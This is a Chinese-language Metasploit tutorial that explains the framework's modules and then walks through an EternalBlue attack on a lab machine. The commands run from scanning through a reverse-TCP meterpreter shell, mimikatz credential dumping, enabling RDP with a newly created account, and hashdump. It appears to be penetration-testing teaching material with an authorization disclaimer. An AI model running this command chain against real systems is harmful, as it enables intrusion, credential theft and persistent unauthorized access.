一、Metasploit框架介绍
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。 我们能够通过它发现漏洞并进行快速实施攻击,当然需要在授权的情况下二、Metasploit模块介绍
综合渗透测试框架
MSF所用功能可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程模块名 | 模块名 | 描述 |
---|---|---|
Auxiliary | 辅助模块 | 为渗透测试信息搜集提供了大量的辅助模块支持 |
Exploits | 攻击模块 | 利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件 |
Payload | 攻击载荷模块 | 攻击成功后促使靶机运行的一段植入代码 |
Post | 后渗透攻击模块 | 收集更多信息或进一步访问被利用的目标系统 |
Encoders | 编码模块 | 将攻击载荷进行编码,来绕过防护软件拦截 |
三、MSF-基础指令
命令 | 描述 |
---|---|
help/? | 帮助菜单 |
exit | 退出MSF控制台 |
Back | 返回上一级 |
info | 显示一个或者多个模块的信息 |
show | 显示所给类型的模块 |
background | 将当前操作在后台运行 |
use | 使用所选择的模块 |
set | 设置选项 |
unset | 取消设置的选项 |
session | 会话 |
use | 使用所选择的模块 |
使用MSF前先打开数据库
开启数据库:**service postgresql start**如果不开启数据库也可以,不过关于数据库的命令用不了
初始化MSF数据库:msfdb init
开启MSF:msfconsole
查看数据连接状态:db_status
常用模块讲解
Auxiliary 模块: show auxiliaryRank表示好用级别:normal(正常),excellent(优秀),good(良好),average(平均)
命名规则:功能/服务/名称 scanner/smb/smb_ms17_010
Exploits 模块: show exploits
命名规则:操作系统/服务/名称 windows/smb/ms17_010_eternalblue
Payload 模块:show payloads
命名规则:操作系统/类型/名称 windows/x64/meterpreter/reverse_tcp
MSF搜索模块
根据名称搜索 : search ms17_010MSF设置模块
设置模块:use auxiliary/scanner/smb/smb_ms17_010查看选项:options
四、MSF攻击流程
Ping下需要攻击的目标地址 ping 192.168.2.168
指定ping四次 ping 192.168.2.168 -c 4
扫描目标地址端口有没有开启,永恒之蓝端口445,文件共享服务端口
db_nmap 192.168.2.168 -p 445,-p指定445端口
发现目标机器开启了445端口,查看hosts,发现目标地址已经存在这里了
搜索下永恒之蓝模块名字
search ms17_010
使用辅助模块来扫描,看到了SMB REC,扫描下看有没有远程命令执行漏洞
use auxiliary/scanner/smb/smb_ms17_010
options,查看需要设置什么,一般都是设置yes
需要设置一个路径,这个路径就是字典文件,MSF已经设置好了,所以不需要设置
RHOSTS目标服务器地址,远程主机的地址,需要设置成目标地址
目标端口
SMB线程
用户名和密码都是不需要设置的,因为MSF利用远程命令执行这个漏洞去攻击
设置RHOSTS,最简单就是set rhosts 192.168.2.168
也可以利用hosts扫描到的数据库里面有的,直接hosts -R也可以
使用run或者exploit都是可以攻击的
发现了绿色的[+],说明可能存在MS17-010 漏洞的,同时也看到这台目标服务器的相关资料,操作系统是windows server 2008 R2 64位的,MSF自带的只能攻击64位的
接下来使用攻击模块
search ms17
发现有两个攻击模块可以使用,这里使用一个ms17_010_eternalblue
直接use 8,进入到攻击模块
设置payload,先查看show payloads
反向连接tcp,因为不知道服务器有没有网
使用meterpreter
set payload windows/x64/meterpreter/reverse_tcp
options 查看下还要设置什么
需要设置本机ip地址和目标地址
set lhost 192.168.2.250
set rhosts 192.168.2.168
设置好后现在就可以直接攻击了
run
getuid查看下成功没
拿到了SYSTEM的权限,NT是windows
shell看看,进入目标机器的CMD命令
load mimikatz ,加载mimikatz
kerberos,读取目标机器用户的凭证,明文密码
background,把会话放在后台
db_nmap 192.168.2.168 -p 3389,扫描下端口,看能不能远程登录
端口没开启,使用post模块,通过修改注册表来开启目标端口
search enable_rdp,rdp表示远程登录服务
use 0
options,看需要设置什么
在system权限上,把目标的3389转发到本地的3389,再通过3389连接,可以新建账户密码,session就是我们刚刚保留的会话,通过这个会话开启服务器目标的端口和用户名和密码
set password 1234.a
set session 1
set username abc
run,攻击下
db_nmap 192.168.2.168 -p 3389,扫描下看开放没
rdesktop 192.168.2.168,远程登录
五、后渗透工具 - meterpreter
查看用户权限: meterpreter> getuid获取hash密码: meterpreter> hashdump
上传文件: meterpreter> upload
执行文件: meterpreter> execute -f notepad.exe
获取屏幕截图:meterpreter>screenshot
获取shell:meterpreter>shell
声明:请勿用作违法用途,请在授权情况下使用